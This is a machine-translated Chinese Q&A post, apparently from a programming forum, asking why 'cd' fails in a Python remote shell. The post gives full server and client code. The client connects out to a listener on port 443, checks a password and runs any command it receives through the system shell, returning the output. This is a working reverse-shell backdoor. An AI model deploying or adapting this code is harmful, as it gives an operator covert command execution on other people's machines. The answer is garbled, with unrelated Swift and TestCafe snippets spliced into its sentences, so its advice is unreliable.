我正在尝试使用服务器脚本中的“ cd”命令来找到在客户端脚本上更改工作目录的最简单方法,但是无论何时运行dir命令,当前工作目录都不会更改。这是我的代码:
服务器代码:
import subprocess
import socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("0.0.0.0", 443))
server_socket.listen(1)
connected_socket = server_socket.accept()[0]
while True:
encoded_data = connected_socket.recv(1024)
data = encoded_data.decode()
if data != "None":
print(data)
nextcmd = input("Shell: ")
connected_socket.send(nextcmd.encode())
else:
nextcmd = input("Shell: ")
connected_socket.send(nextcmd.encode())
客户代码:
import subprocess
import socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
passwd = "secret"
host = "127.0.0.1" #server
port = 443 #port for listener
def Shell():
while True:
encoded_data = client_socket.recv(1024)
data = encoded_data.decode()
if data == "kill":
client_socket.close()
break
elif data[:2] == "cd":
client_socket.send("OK".encode())
continue
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.communicate()[0] + proc.communicate()[1]
client_socket.send(output)
def Login():
global client_socket
client_socket.send("Login Required".encode())
pwd = client_socket.recv(1024)
if pwd.decode() != passwd:
Login()
else:
client_socket.send("connected".encode())
Shell()
client_socket.connect((host, port))
Login()
答案 0 :(得分:0)
不要每次都创建一个新的shell,而是尝试创建一个shell过程并将所有输入都放入其中。这样,shell更改了自己的目录后,便不会立即关闭。
我对queuePlayer.addObserver(self, forKeyPath: #keyPath(AVQueuePlayer.currentItem), …
模块不是很熟悉,但是我认为您可以通过打开单个shell进程并通过process.communicate
与之通信,设置test('Check on the individual devices stuff', async t => {
const devices = monitoredDevicesSection.find('.card');
console.log(devices);
console.log(devices.count);
console.log(await devices.count);
await t.expect(devices.count).eql(10);
});
参数来做到这一点。并使用循环,以便您可以发送subprocess
来停止挂起的程序。